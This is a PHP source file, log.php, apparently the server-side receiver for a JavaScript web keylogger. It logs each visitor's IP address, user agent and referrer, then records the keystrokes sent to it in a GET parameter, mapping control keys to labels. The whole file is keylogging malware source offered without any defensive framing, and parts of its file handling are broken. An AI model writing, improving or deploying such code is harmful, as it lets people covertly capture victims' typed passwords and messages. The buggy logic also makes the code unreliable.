-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathlog.php
80 lines (65 loc) · 1.69 KB
/
log.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
<?php
//get user Data
$time= date("d.m.Y H:i"); //time
$ip = getenv("REMOTE_ADDR"); //get ip address
$agent = getenv("HTTP_USER_AGENT"); //get user agent of visitor
$ref = getenv("HTTP_REFERER"); //get referrer
$logentry = $time." - IP: ".$ip." | UsrAgent: ".$agent." | Referrer: ".$ref."\r\n";
$filename = "keylog_".$ip."txt";
$fp = file_get_contents($filename) or die("Could not open log file.");
if (file_exists(dirname(__FILE__)."/".$filename)) {
$newheader = "\r\n";//new line
$newheader .= $fp;
file_put_contents($filename,$newheader) or die("Could not write file!"); // if file exist made a new header
}
//write user data as header
$header = $logentry;
$header .= "\n";
file_put_contents($filename, $header) or die("Could not write file!");
//if the keylogger get input
if(isset($_GET["a"]) and $_GET["a"] != "undefined"){
$keys = $_GET["a"];
switch ($keys) {
case "0x8":
$keys = "[<--]";//backspace
$keylog = $keys;
break;
case "0x9":
$keys = "[TAP]";//tap
$keylog = $keys;
break;
case "0x13":
$keys = "[ENTER]";//enter-key
$keylog = $keys;
break;
case "0x17":
$keys = "[ctrl]";//ctrl -key
$keylog = $keys;
break;
case "0x18":
$keys = "[ALT]";//alt-key
$keylog = $keys;
break;
case "0x27":
$keys = "[Esc]";//esc key
$keylog = $keys;
break;
case "0x35":
$keys = "[end]";//end key
$keylog = $keys;
break;
case "0x36":
$keys = "[home]";//home key
$keylog = $keys;
break;
case " ":
$keys = " ";//space
$keylog = $keys;
break;
default:
$keylog = chr($keys);
}
file_put_contents($fp,$keylog);
}
echo ":EOF";
?>